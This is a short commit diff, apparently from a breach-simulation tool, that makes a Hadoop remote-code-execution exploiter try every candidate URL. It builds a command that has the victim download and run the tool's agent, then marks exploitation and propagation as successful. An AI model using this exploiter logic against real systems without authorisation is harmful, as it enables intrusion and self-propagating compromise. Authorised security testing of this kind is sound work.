Agent: Check all potential urls in Hadoop

This commit is contained in:
Ilija Lazoroski 2022-10-07 14:53:19 +02:00
parent 66f5d7a86a
commit 7a664218bd
1 changed files with 6 additions and 5 deletions

View File

@ -67,11 +67,12 @@ class HadoopExploiter(WebRCE):
command = self._build_command(monkey_path_on_victim, http_path)
try:
if self.exploit(potential_urls[0], command):
for url in potential_urls:
if self.exploit(url, command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
break
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()